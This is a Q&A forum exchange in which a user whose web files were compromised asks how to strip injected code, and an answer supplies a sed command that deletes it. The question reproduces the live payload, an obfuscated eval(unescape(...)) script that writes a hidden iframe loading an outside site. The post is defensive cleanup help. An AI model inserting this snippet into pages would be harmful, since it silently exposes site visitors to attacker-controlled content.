Question : How to find and replace specific string with blank using sed or any better cmd?

Hi,

I would like to request an assistance.

A lot of my files have been injected with the attach malicious code (see attached).

I would like to replace the whole exact string with blank using bash (if possible).

Appreciate any assistance on this.

Thank you.
1:
<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6E%75%61%68%6E%64%2E%63%6F%6D%2F%3F%39%32%37%30%30%30%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%68%69%64%64%65%6E%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->

Answer : How to find and replace specific string with blank using sed or any better cmd?

Using sed in bash, if you use double-quotes around it so you don't have to worry about the apostrophes, the only other things you need to escape are the slash in the closing tag (because I used it as delimiter) and the exclamation mark in the comment (to protect it from bash's history expansion).
1:
sed -i "s/<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6E%75%61%68%6E%64%2E%63%6F%6D%2F%3F%39%32%37%30%30%30%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%68%69%64%64%65%6E%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));<\/script><\!-- uy7gdr5332rkmn -->/ /g" * 
Random Solutions  
 
programming4us programming4us